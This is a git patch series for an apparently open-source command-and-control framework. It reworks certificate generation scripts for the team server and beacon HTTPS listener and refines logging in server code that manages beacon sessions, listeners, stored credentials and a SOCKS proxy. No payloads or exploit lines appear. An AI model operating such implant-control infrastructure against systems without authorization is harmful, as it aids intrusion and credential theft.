From 8952ab62bdd1d362e45a7a25d3a488d03e154dbf Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Thu, 9 Oct 2025 20:26:11 +0200 Subject: [PATCH 01/11] Replace cfssl cert generation with OpenSSL scripts --- certs/sslBeaconHttps/genSslCert.sh | 99 ++++++++++++------------- certs/sslTeamServ/ca-config.json | 11 --- certs/sslTeamServ/ca-csr.json | 16 ---- certs/sslTeamServ/client-csr.json | 17 ----- certs/sslTeamServ/genSslCert.sh | 115 +++++++++++++++++++++++++++-- certs/sslTeamServ/server-csr.json | 17 ----- 6 files changed, 156 insertions(+), 119 deletions(-) delete mode 100644 certs/sslTeamServ/ca-config.json delete mode 100644 certs/sslTeamServ/ca-csr.json delete mode 100644 certs/sslTeamServ/client-csr.json delete mode 100644 certs/sslTeamServ/server-csr.json diff --git a/certs/sslBeaconHttps/genSslCert.sh b/certs/sslBeaconHttps/genSslCert.sh index 0cbb883..23fc271 100755 --- a/certs/sslBeaconHttps/genSslCert.sh +++ b/certs/sslBeaconHttps/genSslCert.sh @@ -1,43 +1,47 @@ -#! /bin/bash +#!/usr/bin/env bash -if [ "$#" -ne 1 ] -then - echo "Error: No domain name argument provided" - echo "Usage: Provide a domain name as an argument" - exit 1 +set -euo pipefail + +if [[ $# -ne 1 ]]; then + echo "Usage: $0 " >&2 + exit 1 fi -DOMAIN=$1 +DOMAIN="$1" -# Create root CA & Private key +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +pushd "${SCRIPT_DIR}" >/dev/null -openssl req -x509 \ - -sha256 -days 356 \ - -nodes \ - -newkey rsa:2048 \ - -subj "/CN=${DOMAIN}/C=US/L=San Fransisco" \ - -keyout rootCA.key -out rootCA.crt +rm -f rootCA.key rootCA.crt rootCA.srl \ + "${DOMAIN}.key" "${DOMAIN}.csr" "${DOMAIN}.crt" \ + csr.conf cert.ext -# Generate Private key +# --------------------------------------------------------------------------- +# Root CA used to sign the beacon HTTPS certificate. +# --------------------------------------------------------------------------- +openssl req -x509 -newkey rsa:4096 -days 3650 -nodes \ + -keyout rootCA.key -out rootCA.crt \ + -subj "/C=US/ST=California/L=San Francisco/O=C2TeamServer/OU=Beacon/CN=${DOMAIN} Root CA" -openssl genrsa -out ${DOMAIN}.key 2048 +# --------------------------------------------------------------------------- +# Private key and CSR for the provided domain. +# --------------------------------------------------------------------------- +openssl genrsa -out "${DOMAIN}.key" 2048 -# Create csf conf - -cat > csr.conf < csr.conf [ req ] -default_bits = 2048 -prompt = no -default_md = sha256 -req_extensions = req_ext +default_bits = 2048 +prompt = no +default_md = sha256 +req_extensions = req_ext distinguished_name = dn [ dn ] -C = US +C = US ST = California -L = San Fransisco -O = SuperOrga -OU = SuperOrga Dev +L = San Francisco +O = C2TeamServer +OU = Beacon CN = ${DOMAIN} [ req_ext ] @@ -46,34 +50,29 @@ subjectAltName = @alt_names [ alt_names ] DNS.1 = ${DOMAIN} DNS.2 = www.${DOMAIN} -IP.1 = 192.168.1.2 -IP.2 = 192.168.1.3 - +IP.1 = 192.168.1.2 +IP.2 = 192.168.1.3 EOF -# create CSR request using private key +openssl req -new -key "${DOMAIN}.key" -out "${DOMAIN}.csr" -config csr.conf -openssl req -new -key ${DOMAIN}.key -out ${DOMAIN}.csr -config csr.conf +cat < cert.ext +authorityKeyIdentifier = keyid,issuer +basicConstraints = CA:FALSE +extendedKeyUsage = serverAuth +keyUsage = digitalSignature,keyEncipherment +subjectAltName = @alt_names -# Create a external config file for the certificate - -cat > cert.conf </dev/null diff --git a/certs/sslTeamServ/ca-config.json b/certs/sslTeamServ/ca-config.json deleted file mode 100644 index fd4f754..0000000 --- a/certs/sslTeamServ/ca-config.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "signing": { - "profiles": { - "default": { - "usages": ["signing", "key encipherment", "server auth", "client auth"], - "expiry": "8760h" - } - } - } - } - \ No newline at end of file diff --git a/certs/sslTeamServ/ca-csr.json b/certs/sslTeamServ/ca-csr.json deleted file mode 100644 index 824065c..0000000 --- a/certs/sslTeamServ/ca-csr.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "CN": "Example CA", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "San Francisco", - "O": "Example", - "OU": "CertificateAuthority", - "ST": "California" - } - ] -} diff --git a/certs/sslTeamServ/client-csr.json b/certs/sslTeamServ/client-csr.json deleted file mode 100644 index 78d2959..0000000 --- a/certs/sslTeamServ/client-csr.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "CN": "TestClient", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "San Francisco", - "O": "Example", - "OU": "SRE-Operations", - "ST": "California" - } - ] - } - \ No newline at end of file diff --git a/certs/sslTeamServ/genSslCert.sh b/certs/sslTeamServ/genSslCert.sh index b9535e4..44f8ccd 100755 --- a/certs/sslTeamServ/genSslCert.sh +++ b/certs/sslTeamServ/genSslCert.sh @@ -1,12 +1,111 @@ -#! /bin/bash +#!/usr/bin/env bash -# https://github.com/joekottke/python-grpc-ssl +set -euo pipefail -# Generate CA Certificate and Config -cfssl gencert -initca ca-csr.json | cfssljson -bare ca +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +pushd "${SCRIPT_DIR}" >/dev/null -# Server Certificate -cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -hostname='127.0.0.1,localhost' server-csr.json | cfssljson -bare server +# Ensure a clean slate so repeated executions do not reuse stale material. +rm -f ca.pem ca-key.pem ca.srl \ + server-key.pem server.csr server.pem server.ext server.cnf \ + client-key.pem client.csr client.pem client.ext client.cnf -# Client Certificate -cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json client-csr.json | cfssljson -bare client \ No newline at end of file +# --------------------------------------------------------------------------- +# Root CA +# --------------------------------------------------------------------------- +openssl req -x509 -newkey rsa:4096 -days 3650 -nodes \ + -keyout ca-key.pem -out ca.pem \ + -subj "/C=US/ST=California/L=San Francisco/O=C2TeamServer/OU=Certificate Services/CN=C2TeamServer Root CA" + +# --------------------------------------------------------------------------- +# Server certificate (used by the TeamServer itself) +# --------------------------------------------------------------------------- +cat <<'EOF' > server.cnf +[ req ] +default_bits = 2048 +prompt = no +default_md = sha256 +req_extensions = req_ext +distinguished_name = dn + +[ dn ] +C = US +ST = California +L = San Francisco +O = C2TeamServer +OU = TeamServer +CN = localhost + +[ req_ext ] +subjectAltName = @alt_names + +[ alt_names ] +DNS.1 = localhost +IP.1 = 127.0.0.1 +EOF + +openssl genrsa -out server-key.pem 2048 +openssl req -new -key server-key.pem -out server.csr -config server.cnf + +cat <<'EOF' > server.ext +authorityKeyIdentifier = keyid,issuer +basicConstraints = CA:FALSE +extendedKeyUsage = serverAuth +keyUsage = digitalSignature,keyEncipherment +subjectAltName = @alt_names + +[ alt_names ] +DNS.1 = localhost +IP.1 = 127.0.0.1 +EOF + +openssl x509 -req -in server.csr -CA ca.pem -CAkey ca-key.pem \ + -CAcreateserial -out server.pem -days 825 -sha256 -extfile server.ext + +# --------------------------------------------------------------------------- +# Client certificate (used by gRPC clients) +# --------------------------------------------------------------------------- +cat <<'EOF' > client.cnf +[ req ] +default_bits = 2048 +prompt = no +default_md = sha256 +req_extensions = req_ext +distinguished_name = dn + +[ dn ] +C = US +ST = California +L = San Francisco +O = C2TeamServer +OU = TeamServer Client +CN = client + +[ req_ext ] +subjectAltName = @alt_names + +[ alt_names ] +DNS.1 = client +EOF + +openssl genrsa -out client-key.pem 2048 +openssl req -new -key client-key.pem -out client.csr -config client.cnf + +cat <<'EOF' > client.ext +authorityKeyIdentifier = keyid,issuer +basicConstraints = CA:FALSE +extendedKeyUsage = clientAuth +keyUsage = digitalSignature,keyEncipherment +subjectAltName = @alt_names + +[ alt_names ] +DNS.1 = client +EOF + +openssl x509 -req -in client.csr -CA ca.pem -CAkey ca-key.pem \ + -CAcreateserial -out client.pem -days 825 -sha256 -extfile client.ext + +# Remove transient files that are not required by the build system. +rm -f server.csr server.ext server.cnf client.csr client.ext client.cnf ca.srl + +popd >/dev/null diff --git a/certs/sslTeamServ/server-csr.json b/certs/sslTeamServ/server-csr.json deleted file mode 100644 index 8e86bed..0000000 --- a/certs/sslTeamServ/server-csr.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "CN": "server.example.com", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "San Francisco", - "O": "Example", - "OU": "SRE-Operations", - "ST": "California" - } - ] - } - \ No newline at end of file From bcaa808cbfd473004b85739276fd50711a6dbbe4 Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Thu, 9 Oct 2025 20:29:54 +0200 Subject: [PATCH 02/11] Update pyproject.toml --- C2Client/pyproject.toml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/C2Client/pyproject.toml b/C2Client/pyproject.toml index 3ea2d34..bb903c0 100644 --- a/C2Client/pyproject.toml +++ b/C2Client/pyproject.toml @@ -17,7 +17,8 @@ dependencies = [ "pwn==1.0", "pefile==2024.8.26", "openai==1.102.0", - "donut-shellcode" + "donut-shellcode", + "markdown" ] [project.optional-dependencies] @@ -41,4 +42,4 @@ C2Client = [ ] [project.scripts] -c2client = "C2Client.GUI:main" # Entry point for CLI tool \ No newline at end of file +c2client = "C2Client.GUI:main" # Entry point for CLI tool From b1e20f4ba46a9ed598e1cbbd78251aaa0da9ddf2 Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Thu, 9 Oct 2025 20:30:11 +0200 Subject: [PATCH 03/11] Update requirements.txt --- C2Client/requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/C2Client/requirements.txt b/C2Client/requirements.txt index fa567b3..9829abf 100644 --- a/C2Client/requirements.txt +++ b/C2Client/requirements.txt @@ -11,3 +11,4 @@ openai==1.102.0 pytest==8.4.1 pytest-qt==4.5.0 donut-shellcode +markdown From 63143b1efb463f5b0c66ef4f0970c95947f5ab5d Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 14 Oct 2025 09:16:14 +0200 Subject: [PATCH 04/11] Refine TeamServer logging granularity --- teamServer/teamServer/TeamServer.cpp | 393 +++++++++++++++++---------- 1 file changed, 246 insertions(+), 147 deletions(-) diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 7858413..c08a22d 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -2,9 +2,12 @@ #include +#include +#include #include #include #include +#include using namespace std; using namespace std::placeholders; @@ -16,6 +19,38 @@ using json = nlohmann::json; typedef ModuleCmd* (*constructProc)(); +namespace +{ +spdlog::level::level_enum parseLogLevel(std::string level, bool& isUnknown) +{ + isUnknown = false; + + std::transform(level.begin(), level.end(), level.begin(), + [](unsigned char c) { return static_cast(std::tolower(c)); }); + + static const std::unordered_map levelMap = + { + {"trace", spdlog::level::trace}, + {"debug", spdlog::level::debug}, + {"info", spdlog::level::info}, + {"warn", spdlog::level::warn}, + {"warning", spdlog::level::warn}, + {"err", spdlog::level::err}, + {"error", spdlog::level::err}, + {"critical", spdlog::level::critical}, + {"off", spdlog::level::off} + }; + + auto it = levelMap.find(level); + if (it != levelMap.end()) + return it->second; + + isUnknown = true; + return spdlog::level::info; +} +} + + inline bool port_in_use(unsigned short port) { @@ -32,18 +67,32 @@ TeamServer::TeamServer(const nlohmann::json& config) // Logger std::vector sinks; - auto console_sink = std::make_shared(); - console_sink->set_level(spdlog::level::info); - sinks.push_back(console_sink); + auto console_sink = std::make_shared(); + sinks.push_back(console_sink); - auto file_sink = std::make_shared("logs/TeamServer.txt", 1024*1024*10, 3); - file_sink->set_level(spdlog::level::debug); - sinks.push_back(file_sink); + auto file_sink = std::make_shared("logs/TeamServer.txt", 1024*1024*10, 3); + sinks.push_back(file_sink); + + std::string logLevel = "info"; + auto logLevelIt = config.find("LogLevel"); + if (logLevelIt != config.end() && logLevelIt->is_string()) + logLevel = logLevelIt->get(); + + bool isUnknownLogLevel = false; + spdlog::level::level_enum configuredLevel = parseLogLevel(logLevel, isUnknownLogLevel); + + console_sink->set_level(configuredLevel); + file_sink->set_level(configuredLevel); m_logger = std::make_shared("TeamServer", begin(sinks), end(sinks)); - std::string logLevel = config["LogLevel"].get(); - m_logger->set_level(spdlog::level::debug); + m_logger->set_level(configuredLevel); + m_logger->flush_on(spdlog::level::warn); + + if (isUnknownLogLevel) + m_logger->warn("Unknown log level '{}' requested, defaulting to 'info'.", logLevel); + + m_logger->debug("TeamServer logging initialized at {} level", spdlog::level::to_string_view(m_logger->level())); // Config directory m_teamServerModulesDirectoryPath = config["TeamServerModulesDirectoryPath"].get(); @@ -90,15 +139,16 @@ TeamServer::TeamServer(const nlohmann::json& config) m_toolsDirectoryPath, m_scriptsDirectoryPath); - // Modules - m_logger->info("TeamServer module directory path {0}", m_teamServerModulesDirectoryPath.c_str()); - try + // Modules + m_logger->debug("TeamServer module directory path {0}", m_teamServerModulesDirectoryPath.c_str()); + std::size_t modulesLoaded = 0; + try { for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) { - if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") - { - m_logger->info("Trying to load {0}", entry.path().c_str()); + if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") + { + m_logger->debug("Trying to load {0}", entry.path().c_str()); void *handle = dlopen(entry.path().c_str(), RTLD_LAZY); @@ -113,7 +163,7 @@ TeamServer::TeamServer(const nlohmann::json& config) funcName = funcName.substr(0, funcName.length() - 3); // remove .so funcName += "Constructor"; // add Constructor - m_logger->info("Looking for construtor function {0}", funcName); + m_logger->debug("Looking for construtor function {0}", funcName); constructProc construct = (constructProc)dlsym(handle, funcName.c_str()); if(construct == NULL) @@ -126,26 +176,32 @@ TeamServer::TeamServer(const nlohmann::json& config) ModuleCmd* moduleCmd = construct(); std::unique_ptr moduleCmd_(moduleCmd); - m_moduleCmd.push_back(std::move(moduleCmd_)); + m_moduleCmd.push_back(std::move(moduleCmd_)); - m_moduleCmd.back()->setDirectories(m_teamServerModulesDirectoryPath, - m_linuxModulesDirectoryPath, - m_windowsModulesDirectoryPath, - m_linuxBeaconsDirectoryPath, - m_windowsBeaconsDirectoryPath, - m_toolsDirectoryPath, - m_scriptsDirectoryPath); + m_moduleCmd.back()->setDirectories(m_teamServerModulesDirectoryPath, + m_linuxModulesDirectoryPath, + m_windowsModulesDirectoryPath, + m_linuxBeaconsDirectoryPath, + m_windowsBeaconsDirectoryPath, + m_toolsDirectoryPath, + m_scriptsDirectoryPath); - m_logger->info("Module {0} loaded", entry.path().filename().c_str()); + m_logger->debug("Module {0} loaded", entry.path().filename().c_str()); + modulesLoaded++; } } } - catch (const std::filesystem::filesystem_error& e) - { - m_logger->warn("Error accessing module directory"); - } + catch (const std::filesystem::filesystem_error& e) + { + m_logger->warn("Error accessing module directory"); + } - m_handleCmdResponseThreadRuning = true; + if (modulesLoaded == 0) + m_logger->warn("No TeamServer modules loaded from {0}", m_teamServerModulesDirectoryPath.c_str()); + else + m_logger->info("Loaded {0} TeamServer module(s) from {1}", modulesLoaded, m_teamServerModulesDirectoryPath.c_str()); + + m_handleCmdResponseThreadRuning = true; m_handleCmdResponseThread = std::make_unique(&TeamServer::handleCmdResponse, this); } @@ -389,18 +445,21 @@ grpc::Status TeamServer::StopListener(grpc::ServerContext* context, const teamse { m_logger->trace("StopListener"); - // Stop primary listener - std::string listenerHash=listenerToStop->listenerhash(); + // Stop primary listener + std::string listenerHash=listenerToStop->listenerhash(); + bool removedPrimary = false; + bool stopCommandSent = false; std::vector>::iterator object = find_if(m_listeners.begin(), m_listeners.end(), [&](shared_ptr & obj){ return obj->getListenerHash() == listenerHash;} ); - if(object!=m_listeners.end()) - { - m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object)); - } + if(object!=m_listeners.end()) + { + m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object)); + removedPrimary = true; + } // Stop listerners runing on beacon by sending a messsage to this beacon for (int i = 0; i < m_listeners.size(); i++) @@ -433,23 +492,32 @@ grpc::Status TeamServer::StopListener(grpc::ServerContext* context, const teamse } // Set the uuid to track the message and correlate with the response to get a clean output in the client - if(!c2Message.instruction().empty()) - { - std::string uuid = generateUUID8(); - c2Message.set_uuid(uuid); - m_listeners[i]->queueTask(beaconHash, c2Message); + if(!c2Message.instruction().empty()) + { + std::string uuid = generateUUID8(); + c2Message.set_uuid(uuid); + m_listeners[i]->queueTask(beaconHash, c2Message); - c2Message.set_cmd(input); - c2Message.set_data(""); - m_sentC2Messages.push_back(std::move(c2Message)); - } - } - } - } - } - } + c2Message.set_cmd(input); + c2Message.set_data(""); + m_sentC2Messages.push_back(std::move(c2Message)); + stopCommandSent = true; + } + } + } + } + } + } - m_logger->trace("StopListener End"); + if (removedPrimary || stopCommandSent) + m_logger->info("StopListener completed for {0} (primary removed: {1}, stop commands sent: {2})", + listenerHash, + removedPrimary ? "yes" : "no", + stopCommandSent ? "yes" : "no"); + else + m_logger->warn("StopListener request ignored: listener {0} not found", listenerHash); + + m_logger->trace("StopListener End"); return grpc::Status::OK; } @@ -565,18 +633,21 @@ grpc::Status TeamServer::StopSession(grpc::ServerContext* context, const teamser response->set_status(teamserverapi::KO); } - if(!c2Message.instruction().empty()) - { - m_listeners[i]->queueTask(beaconHash, c2Message); - m_listeners[i]->markSessionKilled(beaconHash); - } + if(!c2Message.instruction().empty()) + { + m_listeners[i]->queueTask(beaconHash, c2Message); + m_listeners[i]->markSessionKilled(beaconHash); + m_logger->info("StopSession command queued for beacon {0} on listener {1}", beaconHash, listenerHash); + } - return grpc::Status::OK; - } - } - } + return grpc::Status::OK; + } + } + } - m_logger->trace("StopSession end"); + m_logger->warn("StopSession request ignored: session {0} on listener {1} not found", beaconHash, listenerHash); + + m_logger->trace("StopSession end"); return grpc::Status::OK; } @@ -1180,7 +1251,7 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser string instruction = splitedCmd[0]; if(instruction==InfoListenerInstruction) { - m_logger->info("infoListener {0}", cmd); + m_logger->debug("infoListener {0}", cmd); if(splitedCmd.size()==2) { @@ -1250,7 +1321,7 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser else if(!ip.empty()) finalDomain=ip; - m_logger->info("infoListener found in primary listeners {0} {1} {2}", type, finalDomain, port); + m_logger->debug("infoListener found in primary listeners {0} {1} {2}", type, finalDomain, port); std::string result=type; result+="\n"; @@ -1286,7 +1357,7 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser std::string param1 = it->getParam1(); std::string param2 = it->getParam2(); - m_logger->info("infoListener found in beacon listener {0} {1} {2}", type, param1, param2); + m_logger->debug("infoListener found in beacon listener {0} {1} {2}", type, param1, param2); std::string result=type; result+="\n"; @@ -1322,7 +1393,7 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser } else if(instruction==GetBeaconBinaryInstruction) { - m_logger->info("getBeaconBinary {0}", cmd); + m_logger->debug("getBeaconBinary {0}", cmd); if(splitedCmd.size()==2 || splitedCmd.size()==3) { @@ -1502,7 +1573,7 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser } else if(instruction==PutIntoUploadDirInstruction) { - m_logger->info("putIntoUploadDir {0}", cmd); + m_logger->debug("putIntoUploadDir {0}", cmd); if(splitedCmd.size()==3) { @@ -1552,28 +1623,31 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser } } - if(!downloadFolder.empty()) - { - std::string filePath = downloadFolder; - filePath+="/"; - filePath+=filename; + if(!downloadFolder.empty()) + { + std::string filePath = downloadFolder; + filePath+="/"; + filePath+=filename; - ofstream outputFile(filePath, ios::out | ios::binary); - if (outputFile.good()) - { - outputFile << data; - outputFile.close(); - responseTmp.set_result("ok"); - } - else - { - responseTmp.set_result("Error: Cannot write file."); - } - } - else - { - responseTmp.set_result("Error: Listener don't have a download folder."); - } + ofstream outputFile(filePath, ios::out | ios::binary); + if (outputFile.good()) + { + outputFile << data; + outputFile.close(); + responseTmp.set_result("ok"); + m_logger->info("Stored uploaded file '{0}' for listener {1} in {2}", filename, listenerHash, filePath); + } + else + { + responseTmp.set_result("Error: Cannot write file."); + m_logger->warn("Failed to store uploaded file '{0}' for listener {1} in {2}", filename, listenerHash, filePath); + } + } + else + { + responseTmp.set_result("Error: Listener don't have a download folder."); + m_logger->warn("Listener {0} has no download folder configured; unable to store {1}", listenerHash, filename); + } } else { @@ -1584,11 +1658,11 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser } else if(instruction==BatcaveInstruction) { - m_logger->info("batcaveUpload {0}", cmd); - if(splitedCmd.size()==2) - { - std::string filename = splitedCmd[1]; - m_logger->info("batcaveUpload {0}", filename); + m_logger->debug("batcaveUpload {0}", cmd); + if(splitedCmd.size()==2) + { + std::string filename = splitedCmd[1]; + m_logger->debug("batcaveUpload {0}", filename); if (filename.find_first_not_of("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890-_.") != std::string::npos) { responseTmp.set_result("Error: filename not allowed."); @@ -1600,53 +1674,57 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser filePath+="/"; filePath+=filename; - ofstream outputFile(filePath, ios::out | ios::binary); - if (outputFile.good()) - { - outputFile << data; - outputFile.close(); - responseTmp.set_result("ok"); - } - else - { - responseTmp.set_result("Error: Cannot write file."); - } + ofstream outputFile(filePath, ios::out | ios::binary); + if (outputFile.good()) + { + outputFile << data; + outputFile.close(); + responseTmp.set_result("ok"); + m_logger->info("Saved uploaded tool '{0}' to {1}", filename, filePath); + } + else + { + responseTmp.set_result("Error: Cannot write file."); + m_logger->warn("Failed to store uploaded tool '{0}' at {1}", filename, filePath); + } return grpc::Status::OK; } } // TODO handle some sort of backup - else if(instruction==AddCredentialInstruction) - { - m_logger->info("AddCredentials {0}", cmd); + else if(instruction==AddCredentialInstruction) + { + m_logger->debug("AddCredentials command received"); - std::string data = command->data(); - json cred = json::parse(data); - m_credentials.push_back(cred); - responseTmp.set_result("ok"); - return grpc::Status::OK; + std::string data = command->data(); + json cred = json::parse(data); + m_credentials.push_back(cred); + m_logger->info("Stored credential entry. Total credentials: {0}", m_credentials.size()); + responseTmp.set_result("ok"); + return grpc::Status::OK; } - else if(instruction==GetCredentialInstruction) - { - m_logger->info("GetCredentials {0}", cmd); - - responseTmp.set_result(m_credentials.dump()); - *response = responseTmp; - return grpc::Status::OK; + else if(instruction==GetCredentialInstruction) + { + m_logger->debug("GetCredentials command received"); + + responseTmp.set_result(m_credentials.dump()); + *response = responseTmp; + return grpc::Status::OK; } // TODO else if(instruction==ReloadModulesInstruction) { m_logger->info("Reloading TeamServer modules from directory: {0}", m_teamServerModulesDirectoryPath.c_str()); - // Clear previously loaded modules - m_moduleCmd.clear(); + // Clear previously loaded modules + m_moduleCmd.clear(); + std::size_t reloadedModules = 0; - try { + try { for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) { - if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") - { - m_logger->info("Trying to load {0}", entry.path().c_str()); + if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") + { + m_logger->debug("Trying to load {0}", entry.path().c_str()); void* handle = dlopen(entry.path().c_str(), RTLD_LAZY); if (!handle) @@ -1661,7 +1739,7 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser funcName = funcName.substr(0, funcName.length() - 3); // remove .so funcName += "Constructor"; // add Constructor - m_logger->info("Looking for constructor function: {0}", funcName); + m_logger->debug("Looking for constructor function: {0}", funcName); constructProc construct = (constructProc)dlsym(handle, funcName.c_str()); if (!construct) { @@ -1689,19 +1767,25 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser m_scriptsDirectoryPath ); - m_logger->info("Module {0} loaded", entry.path().filename().c_str()); - m_moduleCmd.push_back(std::move(moduleCmdPtr)); + m_logger->debug("Module {0} loaded", entry.path().filename().c_str()); + m_moduleCmd.push_back(std::move(moduleCmdPtr)); + reloadedModules++; } } - } - catch (const std::filesystem::filesystem_error& e) - { - m_logger->warn("Error accessing module directory: {0}", e.what()); - } - } - else if(instruction == SocksInstruction_) - { - m_logger->info("socks {0}", cmd); + } + catch (const std::filesystem::filesystem_error& e) + { + m_logger->warn("Error accessing module directory: {0}", e.what()); + } + + if (reloadedModules == 0) + m_logger->warn("No TeamServer modules loaded from {0}", m_teamServerModulesDirectoryPath.c_str()); + else + m_logger->info("Reloaded {0} TeamServer module(s) from {1}", reloadedModules, m_teamServerModulesDirectoryPath.c_str()); + } + else if(instruction == SocksInstruction_) + { + m_logger->debug("socks {0}", cmd); if(splitedCmd.size()>=2) { std::string cmd = splitedCmd[1]; @@ -1733,7 +1817,7 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser m_socksServer->stop(); m_socksServer->launch(); std::this_thread::sleep_for(std::chrono::milliseconds(1000)); - m_logger->info("Wait for SocksServer to start on port {}", port); + m_logger->debug("Wait for SocksServer to start on port {}", port); attempts++; if(attempts>maxAttempt) { @@ -1825,7 +1909,7 @@ grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamser } } - m_logger->info("Error: Socks server bind failed, session not found"); + m_logger->warn("Error: Socks server bind failed, session not found"); responseTmp.set_result("Error: Socks server bind failed, session not found"); *response = responseTmp; return grpc::Status::OK; @@ -1920,7 +2004,7 @@ int TeamServer::prepMsg(const std::string& input, C2Message& c2Message, bool isW } else { - m_logger->info("Translate instruction to module name to load in {0}", m_teamServerModulesDirectoryPath.c_str()); + m_logger->debug("Translate instruction to module name to load in {0}", m_teamServerModulesDirectoryPath.c_str()); try { for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) @@ -1944,7 +2028,7 @@ int TeamServer::prepMsg(const std::string& input, C2Message& c2Message, bool isW splitedCmd[1] = entry.path().filename(); } - m_logger->info("Found module to load {0}", splitedCmd[1]); + m_logger->debug("Found module to load {0}", splitedCmd[1]); } } } @@ -2002,16 +2086,13 @@ int main(int argc, char* argv[]) // std::vector sinks; - auto console_sink = std::make_shared(); - console_sink->set_level(spdlog::level::info); + auto console_sink = std::make_shared(); sinks.push_back(console_sink); - auto file_sink = std::make_shared("logs/TeamServer.txt", 1024*1024*10, 3); - file_sink->set_level(spdlog::level::debug); - sinks.push_back(file_sink); + auto file_sink = std::make_shared("logs/TeamServer.txt", 1024*1024*10, 3); + sinks.push_back(file_sink); - std::unique_ptr logger = std::make_unique("TeamServer", begin(sinks), end(sinks)); - logger->set_level(spdlog::level::debug); + std::unique_ptr logger = std::make_unique("TeamServer", begin(sinks), end(sinks)); // // TeamServer Config @@ -2036,7 +2117,25 @@ int main(int argc, char* argv[]) return 1; } - std::string serverGRPCAdd = config["ServerGRPCAdd"].get(); + std::string logLevel = "info"; + auto logLevelIt = config.find("LogLevel"); + if (logLevelIt != config.end() && logLevelIt->is_string()) + logLevel = logLevelIt->get(); + + bool isUnknownLogLevel = false; + spdlog::level::level_enum configuredLevel = parseLogLevel(logLevel, isUnknownLogLevel); + + console_sink->set_level(configuredLevel); + file_sink->set_level(configuredLevel); + logger->set_level(configuredLevel); + logger->flush_on(spdlog::level::warn); + + if (isUnknownLogLevel) + logger->warn("Unknown log level '{}' requested, defaulting to 'info'.", logLevel); + + logger->info("TeamServer logging initialized at {} level", spdlog::level::to_string_view(logger->level())); + + std::string serverGRPCAdd = config["ServerGRPCAdd"].get(); std::string ServerGRPCPort = config["ServerGRPCPort"].get(); std::string serverAddress = serverGRPCAdd; serverAddress += ':'; From 1a15f3c404cd37d546a96c88ee7d919b6fbf91ea Mon Sep 17 00:00:00 2001 From: kali Date: Tue, 14 Oct 2025 04:58:35 -0400 Subject: [PATCH 05/11] Log --- .gitignore | 9 +++- core | 2 +- teamServer/teamServer/TeamServer.cpp | 71 ++++++++++++++++++++++++---- 3 files changed, 70 insertions(+), 12 deletions(-) diff --git a/.gitignore b/.gitignore index f1ea7bb..e6b6685 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,11 @@ Tests C2Client/build/ .vscode -build/ \ No newline at end of file +build/ +C2Client/.cmdHistory +C2Client/.termHistory +C2Client/Beacon.exe +C2Client/C2Client/Scripts/__init__.py +C2Client/C2Client/TerminalModules/__pycache__/ +C2Client/loader.bin +updateRelease.sh diff --git a/core b/core index 4cd9ad3..46975f5 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 4cd9ad35c36c1fc63c9fb7529a78c217087ec695 +Subproject commit 46975f58dc2dbc395bc05cc7698b1131eac16920 diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index c08a22d..9b38407 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -8,6 +8,7 @@ #include #include #include +#include using namespace std; using namespace std::placeholders; @@ -58,6 +59,23 @@ inline bool port_in_use(unsigned short port) } +static std::string computeBufferMd5(const std::string& buffer) +{ + if (buffer.empty()) return ""; + + unsigned char result[MD5_DIGEST_LENGTH]; + MD5_CTX ctx; + MD5_Init(&ctx); + MD5_Update(&ctx, buffer.data(), buffer.size()); + MD5_Final(result, &ctx); + + 